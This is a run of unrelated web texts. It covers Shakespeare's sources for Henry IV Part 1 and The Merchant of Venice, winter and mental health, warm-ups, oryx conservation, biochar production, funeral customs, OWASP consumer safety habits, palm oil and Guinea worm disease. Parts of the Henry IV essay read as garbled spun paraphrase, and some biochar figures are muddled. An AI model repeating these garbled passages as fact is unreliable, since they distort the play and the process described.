Shakespeare used Holinshed's Chronicles of England, Scotland, and Ireland (2nd edition, 1587) for the events in the play and relied heavily upon it, particularly the revolt by the Percy family in 1402-1403, as well as his principal characters. Daniel's work, as well as Holinshed's, provided the historical core of the play. The Famous Victories of Henry the Fifth was probably performed from the late 1580s. Shakespeare apparently drew on its mix of history and comedy, and it may have inspired his tavern scenes between Prince Hal and Falstaff, as well as his development of the Prince's character from a dissolute youth to a responsible soldier. Shakespeare also incorporated Niccolo Machiavelli's work, The Prince. There is some sort of commonality theme-wise which is reflected in Shakespeare's history plays: One who has the wisdom to guide his people in hour of need and accepts the responsibility to give importance to society's welfare before his desires is the true ruler as opposed to one who acquired the throne by succession.
Shakespeare tells us that, after Bolingbroke has seized the crown, he feels it necessary to voyage to the Holy Land to wash the blood off his guilty hands (Richard II,
But Holinshed reports that Henry went on a crusade only during the final year of his reign, and there is no mention of why Henry decides to leave, other than to destroy the infidels. While it is obvious that Henry feels remorse for his actions, it is not likely that this is the sole motivation for his sojourn abroad. His true reason for leaving is better seen in his speech which opens Henry IV, Part I:
So shaken as we are, so wan with care,
Find we a time for frighted peace to pant,
And breathe short-winded accents of new broils
To be commenc'd in stronds afar remote.
No more the thirsty entrance of this soil
Shall daub her lips with her own children's blood . . .
Those opposed eyes/Which like the meteors of a troubled heaven,
. . . Did lately meet in the intestine shock
And furious close of civil butchery,
Shall now in mutual well-beseeming ranks
March all one way . . .(I.i.1-15)
Henry repents for seizing the kingdom by ordering the murder of king Richard, but his method of suffering is by all accounts excessively charged politically for blame, making it impossible to be the primary purpose behind his act.Henry is utilizing the crusade as a path to "to busy giddy minds with foreign quarrels"(Henry IV, Part II, IV.v.213). "The crusade will serve . . . to calm the political passions which he has himself exploited . . ."(Derek Traversi, Shakespeare: From Richard II to Henry V [Stanford: 1957], p.51), and it might serve as the foundation for a strong reign. In this instance, the association to Machiavelli is striking:
Nothing enables a ruler to gain more prestige than undertaking great campaigns . . . In our own times Ferdinand of Aragon, the present King of Spain is a notable example. . . . This man attacked Granada at the beginning of his reign, and this campaign laid the foundations of his state. First of all, he began the campaign . . . when he was not afraid of being opposed: he kept the minds of the barons of Castile occupied with that war . . and, meanwhile, he was acquiring prestige. . . .Moreover, he continued to make use of religion, resorting to a cruel and apparently pious policy of . . . hunting down the Moors . . . he [also] attacked Africa; he invaded Italy; and recently he has attacked France.(Machiavelli, p.77)
As per Machiavellian doctrine,the classical Machiavellian ruler is Henry whose endeavor to wage a crusade is absolute brilliance . The above text may present Henry's abilities but the reality is that no scene in the play represents Henry's political acumen superiorly than when he meets his son , Hal , in Henry IV Part 1. Holinshed provides the foundation for this scene. He mentions that the tales of Hal which Henry heard "brought no small suspicion into the kings head, least his son would presume to usurp the crown . . ."(Holinshed, p.154). Shakespeare, expanding upon this chronicled compromise, incorporates a discourse by Henry who depicts how he raised himself to power:
Opinion, that did help me to the crown,
Had still kept loyal to possession,
And left me in reputeless banishment,
A fellow of no mark nor likelihood.
By being seldom seen, I could not stir
But like a comet I was wondered at;
That men would tell their children 'This is he.'
Others would say, 'Where? Which is Bolingbroke?'
And then I stole all courtesy from heaven,
And dressed myself in such humility
That I did pluck allegiance from men's hearts . . .(III.ii.42-52 ).
The skipping king, he ambled up and down,
With shallow jesters, and rash bavin wits,
Soon kindled, and soon burnt, carded his state,
Mingled his royalty with cap'ring fools . . .
Enfeoff'd himself to popularity [low company] . . .
So when he had occasion to be seen . . .
. . . seen, but with such eyes
As sick and blunted with community,
Afford no extra gaze,
Such as is bent on sun-like majesty,
When it shines seldom in admiring eyes . . .(III.ii.60-78)
The key motivation behind why Henry's political capacities are crucial to administer effectively is given in the above section. Because of his yearning to keep the support of the basic individuals, Henry will perform any activity, and expect any persona. It doesn't make a difference if he is questionable due to his insincerity , its all about passing on the right notion to the general population , as long as he appears "merciful, trustworthy, upright, humane, and devout"(Machiavelli, p.63). He is able to make sense and give importance to the fact that "the common people are impressed by appearances . . . [and that] everywhere the common people are the vast majority and the few are isolated when the majority and the government are at one." (Machiavelli, p.63).His political refinement, i.e. his attention to the need of the general population's backing, will lead him to settle on choices in light of what will advantage the state and the normal men and ladies, dissimilar to Richard, "the skipping ruler", who chooses not to see to the necessities and needs of his subjects, and over and again settles on silly choices taking into account jealousy, avarice, and gullibility.
The differentiation between the qualities of a decent versus an awful ruler, delineated in The Prince, can apply specifically to Richard II and Henry IV as displayed in the tetralogy: "one is considered . . . effeminate and weak, another indomitable and spirited; one affable, another haughty; one lascivious, another moderate; one serious, another frivolous . . . "(Machiavelli, p.55).One thing to note,As Lily B. Campbell points out, in Holinshed's Chronicles, after Henry acquires the throne, he seems to lose his political savvy, and incurs the wrath of many subjects:
But yet to speake a truth, by his proceedings, after he had attained to the crowne, what with such taxes, tallages, subsidies, and exactions as he was constreined to charge the people with . . . [the people] did sundrie times rebell against him, he wan himself more hatred . . . than had been possible for him to haue weeded out and removed . . . "(Holinshed, p.157).
In Henry IV, Part I, however, Shakespeare does not explicitly mentions that Henry has lost his rapport with the common people, or his political sophistication. In the play a handful of his nobles rebel, but it because they are power hungry, not on account of Henry being an insufficient ruler. . Moreover, while the play does not mention any of the political mistakes Henry makes in Holinshed's Chronicles, there are several instances in the play that support the claim that Henry has not lost his abilities as a competent and intelligent leader. In the play, Shakespeare gives more emphasis on Henry's role in crushing the rebellion at the end of Henry IV, Part I than does his sources. In Holinshed, Henry is whisked away by the Earl of March, who "perciuing [Hotspur's] purpose, withdrew the king from that side of the field"(Holinshed, p.146) so that he would be safe. In any case, in the dramatization, Henry IV is at the front, in order, and prepared to battle close by his child Hal. Henry IV has the last word in Henry IV, Part I, guaranteeing us that he himself will see to it that the revolutionaries are enslaved.:
Myself and you, son Harry, will towards Wales,
To fight with Glendower and the Earl of March.
Rebellion in this land shall loose his sway,
Meeting the check of such another day,
And since this business so fair is done,
Let us not leave till all our own be won. (Henry IV, Part I, V.iv.39-44)
Henry's mastery of the Machiavellian rules on successful leadership is what would enable him to be the consummate monarch if it were not for his illegitimacy.
Primary References
• Mabillard, Amanda. Shakespeare's Sources for 1 Henry IV. Shakespeare Online. 20 Aug. 2000. <>
Shakespeare's sources
- By Zamin Ali
There are many possible sources for Shakespeare's Play The Merchant Of Venice. Some of the major contributors to the sources for this play are as follows
Name of The Source
Author Of The Source
Date of Publication
Il Pecorone
Ser Giovanni Fiorentino
Anthony Munday
The Orator
Le Silvain, translated by Lazarus Pyott,
Gesta Romanorum
R. Robinson
The Jew of Malta
Christopher Marlowe
first performed about 1589 but not published until 1633
II Pecorone: It is a collection of 50 short stories one of which has almost the same plot as Merchant Of Venice. II Pecorone was written only in Italian and no English translated versions were available at that time and so it is possible that Shakespeare read it in Italian or he must have asked it to be translated for him to someone he knew.
The story in II Pecorone can summarized as follows:
Ansaldo the merchant of Venice borrows money to give his 'godson' Giannetto, who says he wants to try his luck at sea. The Jew demands a pound of flesh if the bond is not repaid on time.
Without telling his godfather, Gianetto woos 'the Lady of Belmonte' using Ansaldo's money. She is a ruthless widow who cheats her lovers by drugging them, but agrees to marry Giannetto on his third attempt.
Completely forgetting about the bond, Gianetto comes back to Venice to find the Jew calling for his pound of flesh. But Gianetto's wife has secretly disguised herself as a lawyer, and she foils the Jew's plans by insisting that he sheds no drop of blood beyond the pound he asked for. The wife, in the guise of a lawyer, asks Giannetto for his ring in payment and then accuses him of giving it to his mistress. Finally, the confusion is resolved and the couple is reconciled happily.
The plot is to similar too Merchant Of Venice with few changes.
Shakespeare's debt to Zelauto includes the doubling of suitors, the addition of a daughter for the usurer, the use of two women disguised as attorneys, and a son in- law who will inherit the usurer's possessions. Two differences from Zelauto have not deterred critics from drawing these parallels, the fact that in Zelauto the usurer is a Christian rather than Jew and that the bond involves eyes rather than a pound of flesh. Further, like Merchant, the judge in Zelautouses a plea for mercy that relies, like Portia's, on a religious argument.
The Orator:
Shylock's arguments in the play Merchant of Venice have been borrowed from this great piece of work. In Orator, a Christian merchant owed a Jew nine hundred crowns, which he found himself to pay within three months or to give him a pound of hi flesh. The time being passed the Jew refused the money and stood upon the bond. The ordinary judge of the place appointed him to cut a pound of merchant's flesh and if he cut more or less, his own head should be smitten of. The Jew appealed this sentence to the chief justice; and the discourse in action is made up of Jew's argument and the Christian's answer which provided Shakespeare's source.(Works of Shakespeare: Merchant of Venice, All is Well )
Gesta Romanorum :
The tale of caskets forms part of a collection called the Gesta Romanorum first written in Latin in the 13th and 14th centuries, and a selection of the stories was printed in English (c. 1577 and 1595) by Richard Robinson. Shakespeare's used this story in to eliminate suitors for Portia. The story in Gesta Romanorum tells of a young girl who must prove her love for the emperor's son by choosing from three vessels made of gold, silver and lead. When the lady chooses lead she is rewarded with gold, jewels and a husband. It is striking that Shakespeare gives the choice to three men rather than a woman, but he preserves many elements of the 'Caskets' tale.
The Jew Of Malta:
There was a strong rivalry and rich literary exchange between Marlowe and Shakespeare. Most critics agree that Shakespeare's The Merchant of Venice (c. 1596-97) was influenced by The Jew of Malta. Both playwrights make controversial use the figure of the Jew to raise moral questions about mercantile culture and to expose the tensions surrounding notions of justice and mercy.
More specifically, Shakespeare seems to have been inspired by Abigail's elopement with a Christian, when creating his own Jessica-Shylock plot. There are striking verbal echoes between Barabas's lament , 'O my girle, / My gold, my fortune, my felicity' (Jew of Malta, 2.1.50-51) and Shylock's reported cry: 'My daughter! O my ducats! O my daughter! (2.8.15). Shakespeare's seems to have inspired to develop Shylock's character after reading the Jew Of Malta.
Primary References |
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The Snow Season Central Blog
The Benefits of Winter Weather on Mental Health
- Guest post by Adam Durnham
Winter has always received a bad reputation when it comes to affecting people's moods. However, there are still reasons why the winter season can also be good for one's mental health.
Snow on Berries
Gloomy, dark, and cold--that's how most people who dislike winter describe this seemingly long season.
Winters have always been known to be a mood-killer because of its lack of sunlight and its inevitable coldness that makes people stay indoors. There is, in fact, a condition called Seasonal Affective Disorder (SAD) which affects some people during the fall and winter months.
Some of the signs include:
• Decrease in energy
• Insomnia or excessive sleeping during the cold months
• Irritability and agitation
• Depressive moods
Although these are mostly associated during the winter season, SAD can happen to anyone at any time. Since it's tied to environmental factors, there are some things that can be done such as light therapy, counselling, and joining support groups to prevent worsening of symptoms.
Not all people who suffer from the "winter blues" get SAD. The truth is, this is just one side of the coin--there's also another side of winter that is beneficial to mental health.
Here are some of the reasons why the winter can also be beneficial to your mind and body:
Winter season is a time for holidays (at least in the northern hemisphere!)
According to an article from the New York Times, 20,000 people responded that they are naturally happier during the winter holidays. There is a reason. It's called "Christmas spirit" - it's because people naturally feel that giddiness when it's time to celebrate the holidays with family and friends.
The study shows that spending time with family and friends is a great predictor of happiness levels.
It gives a healthy distraction from the daily stresses of life - it takes away responsibilities for a while and enjoy the company of others.
Even something as simple as putting on decorations for the holidays can also have a great impact on one's moods. Scientific studies say that people who take time to put up Christmas decorations in their home feel happier because of the bright lights and the colors associated with the holiday.
Although not all people have the luxury of putting up grand decorations, even a small tree and some simple lights can do the trick.
Winter season is a time for festive meals
Aside from celebrations of holidays with family and friends, there is another factor that makes winter season a booster for mental health--and that is the festive food!
Who would want to pass up the Thanksgiving turkey, the Christmas ham, the pies, and all the sumptuous sides? It is no secret that food indeed makes us happy.
According to research, satisfying cravings in a healthy way affects the brain chemistry which releases happy hormones. What better way to boost these happy hormones than to celebrate with the people you love and eat the food that you love as well.
Although these festive meals can be great, it is also important to keep food intake in moderation during the holidays. It can be great to have that slice of cake, but don't overdo it as the pounds that will pile up come January may dampen those happy moods as well.
The winter season is also a time for resolutions
Another way that the cold months helps in mental health is during New Year's Resolutions. As a new year approaches, people often find themselves in a motivated state to adopt new habits and ditch some unhealthy ones.
Anecdotally, people usually start their gym membership or sign up for alcohol rehab, organize their homes, or start a healthy diet.
For some reason, that shift from the past year to the next gives people the psychological boost for people to be self-motivated.
If you are suffering from mental health concerns, you can use the winter months to think of habits you can change for the better. For example, you can start regular exercise, or start the year simply with a fresh perspective.
Although you can start these anytime, the winter season is good time as it happens during the first quarter of every year.
Winter also prevents irritability
This is something interesting, but there are theories that suggest that warm or hot weather also affects people's moods negatively. Certain studies suggest there is a link between higher crime rates and increased aggression during the summer months.
The rationale behind this is that people usually get cranky and restless when the weather is hot. For example, when people are on the road during a hot day, they might be more prone to irritable behaviour.
Additionally, since the weather may be too cold at times, people may like to stay indoors and undertake low-energy activities that can help them relax and feel warm.
Winter is a season to try snow sports and activities
Winter is a fun time to try different snow activities. Sledding, building a snowman, iceskating, skiing, and visiting winter parks are some fun excursions that you can enjoy solo or with loved ones.
Before heading outside, be sure to bundle up to maximize the time you will be spending outdoors. Although many people will attest to despising snow, doing some fun activities in it once in a while can also boost your mood and energy levels. Since snow mostly reflects light coming from the daytime, it can also serve as a form of light therapy for those who are having depressive mood swings staying indoors during the winter months.
Winter is also a time for rest
In case anyone forgets, the winter months give your mental health a boost because it's also a time for physical rest.
Most people are away during the holidays, which makes it possible for most employees to enjoy a couple of weeks for a well-deserved vacation.
You can spend this time to recharge and to set aside anything that puts pressure in your mind. Although it is fun to try some snow activities during the winter months, you can always spend time indoors just indulging on your favorite TV shows, having a quiet time with your pets, doing your hobbies, or even sleeping as time slowly passes by.
It's all about perspective
Many sources will try to prove that winter is a terrible time for one's mental health, but the bottom line is, it's all about one's perspective. As you look at these reasons, you may realize that winter can be just as helpful to your mental health as any other season.
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Is Warming Up Really Necessary
You may have questioned whether warming up was really necessary and never pursued the answer, but it’s one that most trainers get asked frequently. Once you understand the role that the warm up plays in your workout, you’ll agree that it’s really important and while you may still hate doing it, won’t neglect it when you’re starting your routine. Just as important as warming up is the cool down phase. Another addition to a workout that people often feel is useless, but is extremely important.
Why warm up?
Warming up for maximum exertion is extremely important if you want to get the most benefit from the workout and avoid injury. A good warm up will let you get the most out of your workout and leave you feeling satisfied and like you did a great job with the most benefit. There’s a reason it’s called a warm up. It raises the core temperature of the body. It also increases your heart rate and sends blood flowing to every muscle in the body, alerting the nervous system to prepare the brain for stress.
You need the increased temperature to get the maximum benefit from the exercise.
As the blood surges into the muscles, the increased core temperature warms the blood and increases their temperature, too. That prepares them for the tough workout ahead. The warmer temperature increases the effectiveness of the shortening and lengthening process muscles undergo in a workout. If they’re not warm or functioning at their best, it increases the potential for injury from muscle tears and pulls.
Dynamic stretching is the best possible warm-up.
It’s not just warming up, but the type of warming up you do that counts, too. If you’re standing in place, touching your toes and holding for ten seconds, you’re doing static stretching. That’s not the best type of warm-up. Dynamic stretching keeps you moving while you’re stretching, which helps circulation and increases the core temperature faster. It’s a more active form of warming up that boosts blood flow and gets the brain and body ready to work. Static stretching actually tends to relax muscles and reduce blood flow, so they’re far better as a cool down exercise.
• For dynamic stretches, think jumping rope, agility drills and jogging. For static stretches, think touching your toes and holding, side bends and hamstring stretches.
• Dynamic stretches used as a warm up increase your range of motion and make you not only feel more limber, but actually be more limber.
• Studies show dynamic warm ups can actually help athletes perform better. Studies compared performance after no warm up, static stretching and dynamic stretching. Dynamic stretching improved performance.
• Dynamic stretching warm ups tend to activate more muscles, since you’re moving as you’re stretching. That prepares your entire body better for the workout ahead.
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What’s on has details of the successful breeding programme at Al Ain Zoo, the Abu Dhabi safari park.
The threat of extinction of the Arabian oryx is now no more thanks to Al Ain Zoo’s breeding and conservation efforts.
The Arabian oryx had been listed as an endangered species for decades, but in the ‘70s, when their numbers in the UAE declined to no more than seven in the wild, the directives of the late Sheikh Zayed bin Sultan Al Nahyan encouraged the country to develop conservation programmes to help save the species.
Commenting on the importance of the Arabian oryx and the Zoo’s conservation efforts, Muna Al Dhaheri, Chief of Conservation and Education at Al Ain Zoo said:
“Al Ain Zoo has adopted several conservation programmes highly focused on captive management and breeding, propagation, and reintroduction of endangered species such as the Arabian Oryx. “
These propagation programmes have proved so successful that the Arabian Oryx has changed classification on the International Union for Conservation of Nature’s (IUCN) Red List of threatened species, from extinct in the wild to near threatened – a huge triumph for the UAE.
“The Arabian oryx is one of the animals that was made available at the zoo since its establishment,” said Al Dhaheri. “Today, Al Ain Zoo is home to a significant amount of healthy Arabian oryx and was also successful in achieving a gender balance amongst the animal, which is usually difficult to accomplish when breeding animals in captivity.”
The Arabian oryx is known for its ability to fully adapt to the desert environment and reduce its need for water consumption during the summer. When water is scarce, the Arabian oryx can supply themselves with the water from the dewdrops that form on the surface of plants. They are also known for their identical large horns, which can appear as one horn when seen from side on.
It was stated earlier on Monday that as a result of the zoo’s efforts, an impressive 5,000 oryx have now been released into the wild.
Illegal hunting, urbanisation, and the recent restriction of the desert areas are just a few of the reasons behind the animals near extinction. |
Making Biochar – Small to Large Scale Production of Biochar from Biomass
What is Biochar
Pyrolysis offers a sustainable and effective means of producing energy from biomass and sequestering carbon from the atmosphere in a form called biochar.
However, there is a need for additional care to ensure the pretreatment, harvesting, transport, process of application, and even the post treatment are accounted for and to not create more carbon than it is captured by transforming the biomass into biochar.
Hence, this will create a need for innovation and a coherent strategy for low-carbon pyrolysis energy generation.
Biochar is called a "carbon negative" energy generator because it is capable of sequestering more carbon than is produced.
When compared to many other bio energy technologies, the vital advantage of biochar is that the wide variety of feedstock that it can be made from.
Additionally, biochar can be produced at a large scale range from a simple cook stove to mobile farm pyrolysis. Because of the transportation costs and carbon emissions, this is highly favorable for decentralized approaches and smaller scale ones.
Note: For more information and a backgrounder about biochar, including notes about biochar production efficiencies and the cost and availability of commercially produced biochar (used in making biogas from various biomasses), please read "Biochar vs Charcoal – A Greener Alternative for the Soil and the Planet" also by this author and then return to this article.
Producing Biochar
There are various systems for producing or making biochar. It is a complex subject and technical, too, but it is really reasonably easy to understand at its core.
Fundamentally, in the process of pyrolysis the biomass feedstock is heated in the range of 250 – 800 degree C in an oxygen free atmosphere.
Biomass is basically heated until the various cellulose and lignin products break down to generate a rich fuel of hydrogen that can be condensed and combusted for the generation of energy, and the high carbon-rich product that remains is biochar.
Biochar contains 17.60% ash, 18.70% volatile matter, and 63.70% fixed carbon. The heating value of biochar is 25.3 MJ/kg.
How Biomass is turned into Biochar
The first pyrolysis phase is endothermic, in which it needs a higher level of energy than it generates. The last phase of pyrolysis is exothermic, in that it generates more heat than it needs to get started. 10% of the final energy it generates is making it effective at capturing valuable carbon.
Under the molecular pressure of heat, biomass is turned into charcoal. This process is thermal decomposition, where a stable, active flow of carbon monoxide (CO), hydrogen (H), and methane (CH4) gases which are known as syngas is created. The only part that remains, again, is charred materials of the carbon exoskeleton, and it is called biochar.
Thermal Decomposition Process
The thermal decomposition process may include:
1. torrefication
2. carbonization
3. slow pyrolysis
4. intermediate pyrolysis
5. fast pyrolysis
6. microwave pyrolysis
7. gasification
8. hydrothermal carbonization
9. steam gasification
With this variety of systems, there is greater range of operating scales- from small pyrolysis units and gasification stoves that are small enough to be home based to large scale plants.
Thus both the small scale and larger scale plants will have the ability to deliver power and heat to houses, communities, and countries, and this will replace the demand of oil and coal in a carbon negative process of energy production.
Slow Pyrolysis
Slow pyrolysis is the most efficient method to turn biomass into biochar, and it is commonly cited in literature as the most promising technology to generate biochar.
Slow pyrolysis needs low to medium temperatures that range from 350 to 700 degree C at a very long residence time which takes a day and generates three yields: biochar of 30- 50% from the actual weight of biomass, water, and syngas.
The resulting syngas and biochar properties are greatly determined by temperature, feedstock, and residence time.
Fast Pyrolysis
Biochar generation is basically maximized with very slow pyrolysis, but fast pyrolysis offers the advantage of the production of bio-oil in addition to the biochar generation. This is called “flash carbonization,” which occurs in a matter of 0.2 to 2 seconds with the modest temperature of 400 – 600 degree C. And this yields up 60% of bio fuels, 20% of biochar, and 20% of producer gases.
Biochar Production at Small scale level
The eagerness for small-scale or home-based biochar units is at very high level now, and many people are attempting to do this process.
Biochar is made using simple techniques at home and at small-scale levels. Residential pyrolysis plants are an appropriate technology where biomass is easily available and cheaper than fossil fuels like natural gas, electric heat, or heating oil.
And some of methods that are frequently used are the simple two-barrel biochar retort, the experimental CarbonZero biochar kiln, and the simple two-barrel biochar retort with afterburner.
Medium and large sized biochar pyrolysis units
Many companies are making biochar from biomass and are producing commercial scale systems to process paper by-products, agricultural waste, and even community waste.
There are three basic methods for deploying this pyrolysis system. The first is a centralized system– all the biomass in the region is collected and brought for the pyrolysis plant for processing.
The second one is a medium tech pyrolysis kiln, and the third is a mobile system in which a truck equipped with the paralyzer is driven to convert the biomass.
This could be powered with a syngas system, leaving the biochar to the environment. For biochar storage and transport, is important that everyone have care about storing, transporting, or combusting for this biochar is readily inflammable.
biochar pyrolysis units
simple step of how biomass is turned into biochar
Laird, D.A. (2008) “The Charcoal Vision: A Win-Win-Win Scenario for Simultaneously Producing Bioenergy, Permanently Sequestering Carbon, while Improving Soil and Water Quality”, 100 Agronomy J. 178.
Brown, R. C. (2003) “Biorenewable Resources: Engineering New Products from Agriculture,” Blackwell Press, Ames, IA.
Tilman, David; Hill, Jason; Lehman, Clarence. 2006. “Carbon Negative Biofuels from Low-Input-High-Diversity Grassland Biomass,” Science, 314, 1598-1600. |
Funeral Traditions of Your Ancestors
funeral-widowWhen trying to better understand your ancestors’ lives and events that affected them, one aspect that needs to be covered are the times when an ancestor attended a friend’s or family member’s funeral. These were once common practice and many have been dropped over the decades.
Here are a few of the traditional funeral practices:
Putting flowers on a grave site is still done and even dates back to ancient Greece time frame. In some areas besides flowers, very strong herbs such as evergreen and rosemary were placed because of their strong odor to mask the smell from a dead body.
A practice of placing coins – one each on each eye of the deceased is not longer done. it also dated back to ancient Greece. The purpose was to ensure the eyelids stayed closed and provide payment as the soul went into the afterlife.
A tradition of many centuries was for the eldest male or son in a family to inhale the last breath of a family member about to pass away.
funeral-pallbearsThe wearing of gloves during a funeral and especially at the grave site was a long standing tradition. The deceased’s family would even purchase extra gloves to hand out to anyone not having a pair of gloves. If the deceased was a young person, white gloves were worn and an older person then black gloves.
There were many ‘safety coffins’ used, a precaution against a person being buried alive. A string inside the coffin was attached to a bell to outside the grave (above ground). If the person was truly alive they would pull the string and sound the bell.
Generally, all visitations and services were held in the deceased’s home parlor or another family member’s parlor at their home. that usually was followed by a church service then burial in a cemetery usually on the family’s property.
The wearing of black clothing by a widow, widower and event the children of the deceased was very common, usually for a year.
funeral-hairKeeping locks of the deceased’s hair and placing it into a special case with a photo or painting of the deceased was very common in the 19th century. Also using a good deal of the hair to create ‘mourning jewelry’ or a large woven design using just the hair, large enough to be framed and hung on the wall.
Photos: A widow, the funeral pallbearers and hair in a locket.
Related Blogs:
Look Beyond the OBIT
A Family Memorial Album
Sources of Death Records
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Consumer Best Practices
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OWASP Consumer Top Ten Safe Web Habits
Safe practices for consumers on the web
How can you stay safe on the Internet? Surprisingly much the same you do in the real world. In this list, targeted for technical and less-technically minded users (Hi dad!), general habits are covered, as well as some specific steps you can take to increase your security and privacy and decrease your risk online.
Today, more and more of our personal lives are spent connected to the Internet. We spend a significant amount of time checking email, looking at social media, logging into our financial accounts, shopping, and more. These activities expose our private lives to the internet where potential predators are stalking. Our personal computers are often connected to the internet 24/7 via high-speed data lines, wireless connections extend the boundaries of our houses, and now our home appliances are even exposed to the Internet through web interfaces.
We use these systems because it makes life easier. Where we once had to go to a bank to make financial transactions, they can all be done from the comfort of our home. We used to program our VCRs manually to record our favorite shows. Now we can simply open an application remotely and configure our TV or DVR to automatically record programs whenever we want. The internet has provided so many more conveniences to our lives but they don’t come without risks.
These new technologies can also make life easier for the bad guys. Instead of breaking into your house, reading through your trash, or spying on you through an open window, tech-savvy bad guys can effectively invade your privacy, steal from you, and generally make your life miserable from anywhere in the world. We often think that the danger is somehow different because it is computer based and not face-to-face; however, this is simply not true. How do we protect ourselves from tech-savvy intruders? How do we protect our privacy and the privacy of our loved ones?
Guiding principles used to keep us safe in the physical world can also guide us in the computer world. We may not be aware of how computer attacks occur but we can look at “physical world” habits, which we apply without thinking because they’re habits, and see how they apply to computers.
This document will cover ten habits we can use on our computers and provide recommendations to safeguard against common attacks. Each habit will provide a recommendation for all users and some recommendations for more experienced users. While the recommendations are specific ways the habits can be exercised, the habit themselves should remain valid, even when the computing landscape changes.
The Habits
H1. Protect your secrets
H2. Guard your privacy
H3. Use security software and services
H4. Secure your environment
H5. Perform routine maintenance
H6. Think twice before trusting
H7. Plan for the worst
H8. Clean up your devices and accounts
H9. Avoid unnecessary risks
H10. Be vigilant and on alert
Documents (Presentations, PDFs, etc.)
PDF File of the Online Content
Presentation Slide Deck
PDF File of the Presentation Slide Deck
Authors and primary editors
Todd Benson -
Martin Stemplinger -
Andrew van der Stock -
Pax Whitmore -
David Holmes -
Anthony.Lee - |
Why sustainable palm oil?
Palm oil is a versatile vegetable oil, which has been processed in thousands of products. The production of palm oil is often paired with major problems for humans and the environment. For the construction of plantations lots of tropical forest was cut. The plantations cause lots of pollution, the working conditions are poor and the rights of indigenous peoples are often flouted. Friends of the Earth wants the Dutch government and companies to get involved in ensuring that someone puts an end to this.
The palm grows around the equator in South East Asia, Latin America and Africa. The largest producers of palm oil are Indonesia and Malaysia; together they provide 84 per cent of the supply on the world market. In Indonesia and Malaysia vast areas have been stripped off rain forest in order to construct palm oil plantations. The last decennia the palm oil area has grown from 2 million hectare to over 5 million in Indonesia. The Indonesian rain forest is home to a great amount of species: 10% of all plant species worldwide; 12% of all mammalian species; 16% of reptiles and 17% of all birds. According to the Food and Agriculture Organization of the United Nations, the forest cover has declined sharply in Indonesia and Malaysia. If this trend continuous, it is estimated that all rainforest on the Indonesian islands of Sumatra and Kalimantan will be gone in the near future. Deforestation does not only endanger the biodiversity, but also threatens the culture and livelihoods of indigenous peoples. However, their voice is not heard when new palm oil plantations are in construction. The continuous boosting of biomass production in palm oil exporting economies, increase the irreparable damage they often inflict.
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Explore historic sites
Find the most spectacular castles and hidden historic treasures!
Featured Historic Landmarks, Sites & Buildings
Historic Site of the week
Château des Ducs de Bretagne
The Château des ducs de Bretagne (Castle of the Dukes of Brittany) is a large castle located in Nantes. It served as the centre of the historical province of Brittany until its separation in 1941. It was the residence of the Dukes of Brittany between the 13th and 16th centuries, subsequently becoming the Breton residence of the French Monarchy. Today the castle houses the Nantes History Museum.
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Welcoming Schools History
Welcoming Schools History
In 2004, Greater Boston PFLAG, lead by Pam Garramone, called together a group of community members, including an elementary school principal, a social worker, teachers, same-sex parents, safe school trainers and a social-emotional program consultant to examine how LGBTQ topics affected elementary students.
Simultaneously, in 2005, the Human Rights Campaign, at the time focused primarily on political lobbying, realized that the organization also needed a public education and outreach component to increase understanding of LGBTQ people and the importance of LGBTQ inclusive policies and practices; this became the HRC Foundation.
Ellen Kahn, while working to build the HRC Foundation’s Children, Youth, and Families program, was eager to develop a program to help elementary schools support children with LGBTQ parents. Ellen organized a meeting of experts from across the country, including Kathy Pillsbury, who was part of the Boston group leading Welcoming Schools. It quickly became clear that Welcoming Schools would be a perfect addition to the program. In 2006, the volunteers who developed Welcoming Schools transferred ownership from Greater Boston PFLAG and GLSEN Boston to the HRC Foundation.
The HRC Welcoming Schools team of staff and training consultants, lead by Kim Westheimer, provided trainings to schools and districts from 2006 to 2014. During this time, HRC Welcoming Schools developed partnerships with national, regional and local education and safe school organizations and created a website to make resources accessible to elementary schools, educators and parents across the country.
In 2015, under the direction of Johanna Eager, HRC Welcoming Schools hosted its inaugural Facilitator Certification Program, bringing together 30 community members, advocates and educators from across the country to be prepared to bring HRC’s Welcoming Schools back to their schools and communities. The facilitators spent three days at HRC headquarters in Washington, D.C to learn to provide elementary schools and districts with professional development on the HRC Welcoming Schools approach to foster an LGBTQ and gender inclusive school climate so that all children can thrive. |
Pigment Analysis
A further stage of analysis will involve the identification of individual pigment particles perhaps using a polarising, or a scanning electron microscope. This will often provide information on the age, finish and purpose of a particular layer.
The presence of chrome yellow will usually indicate that a decorative scheme could not have been applied before ca.1820, for example. Other useful datum points are suggested by the first occurrence of emerald green (1814+), lithopone (1870s+) and titanium (1920s+).
A combination of documentary and pigment analysis can often enable the identification of the scheme that was visible at any particular period in time. This might be the years during which a notable individual lived in the house, or even when a specific event took place there.
The interpretation of such analysis can only be done by someone who has made a study of the house-painter’s methods and materials. |
Find information on thousands of medical conditions and prescription drugs.
Dracunculiasis, more commonly known as Guinea Worm Disease (GWD), is a preventable infection caused by the parasite Dracunculus medinensis. The word Dracunculus comes from the Latin "little dragon". more...
Dandy-Walker syndrome
Darier's disease
Demyelinating disease
Dengue fever
Dental fluorosis
Dentinogenesis imperfecta
Depersonalization disorder
Dermatitis herpetiformis
Dermatographic urticaria
Desmoplastic small round...
Diabetes insipidus
Diabetes mellitus
Diabetes, insulin dependent
Diabetic angiopathy
Diabetic nephropathy
Diabetic neuropathy
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Diastrophic dysplasia
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DiGeorge syndrome
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Dissociative fugue
Dissociative identity...
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Double outlet right...
Downs Syndrome
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Dupuytren's contracture
Dyskeratosis congenita
Dysplastic nevus syndrome
Life cycle
Adult female Dracunculus worms emerge from the skin of infected persons annually. Persons with worms protruding through the skin may enter sources of drinking water and unwittingly allow the worm to release larvae into the water. These larvae are ingested by fresh water copepods ("water fleas") where these develop into the infective stage in 10-14 days. Persons become infected by drinking water containing the water fleas harboring the infective stage larvae of Dracunculus medinensis.
Once inside the body, the stomach acid digests the water flea, but not the Guinea Worm. These larvae find their way to the small intestine, where they penetrate the wall of the intestine and pass into the body cavity. During the next 10-14 months, the female Guinea Worm grows to a full-sized adult,and mates with the male, who soon dies afterwards.It is 60‑100 centimeters (2‑3 feet) long and as wide as a cooked spaghetti noodle, and migrates to the site where she will emerge—usually the lower limbs.
A blister develops on the skin at the site where the worm will emerge. This blister causes a very painful burning sensation and it will eventually (within 24 to 72 hours) rupture. For relief, persons will immerse the affected limb into water. When someone with a Guinea Worm ulcer enters the water, the adult female releases a milky white liquid containing millions of immature larvae into the water, thus contaminating the water supply. For several days after it has emerged from the ulcer, the female Guinea Worm is capable of releasing more larvae whenever it comes in contact with water.
